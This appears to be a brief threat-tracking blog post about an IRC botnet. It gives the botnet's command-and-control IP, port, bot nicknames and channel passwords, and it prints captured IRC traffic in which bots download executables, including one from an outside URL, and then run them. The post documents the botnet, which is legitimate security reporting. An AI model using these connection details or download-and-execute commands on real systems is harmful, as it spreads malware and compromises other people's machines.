aLissmalatya.co.cc(irc botnet hosted in Netherlands Amsterdam Leaseweb B.v)

aLissmalatya.co.cc 85.17.175.200
Resolved : [cigara.co.cc] To [85.17.175.200]

C&C Server: 85.17.175.200:6667
Server Password:
Username: fojhrqj
Nickname: [DEU|XP|793378]
Channel: #!aLis! (Password: test)
Channeltopic:

Now talking in #!aLiS!
Topic On: [ #!aLiS! ] [ .join #!5! ]
Topic By: [ hAck ]

Now talking in #!5!
Topic On: [ #!5! ] [ ]
Topic By: [ hAck ]

UPDATE:
MODE [USA|XP|803331] -ix
JOIN #!Ex! test
PRIVMSG #!Ex! :download: File download: 114.5KB to: c:/amk2.exe @ 114.5KB/sec.
PRIVMSG #!Ex! :download: Created process: “c:/amk2.exe”, PID:
NICK n{Ganja-USA|XP}268367
USER 2683 “” “TsGh” :2683
JOIN #amk
PRIVMSG #amk :[Download]: Downloading File From: http://edu-events.com/crew.exe, To: C:Documents and SettingsUserNameApplication Dataqghumeaylnlfdxfircvs85.exe
NICK [USA|XP|803331]
PRIVMSG #amk :[Download]: File Successfully Downloaded To: C:Documents and SettingsUserNameApplication Dataqghumeaylnlfdxfircvs85.exe
PRIVMSG #amk :[Download]: Successfully Executed: C:Documents and SettingsUserNameApplication Dataqghumeaylnlfdxfircvs85.exe
PONG irc.turkeykizlar.co.cc
USER ktzwizl * 0 :COMPUTERNAME

NICK [XP-USA]687277
USER 7491 “” “TsGh” :7491
JOIN #!nox! turgutreis
PONG :irc.turkeykizlar.co.cc

hosting infos:
http://whois.domaintools.com/85.17.175.200

Categories: Uncategorized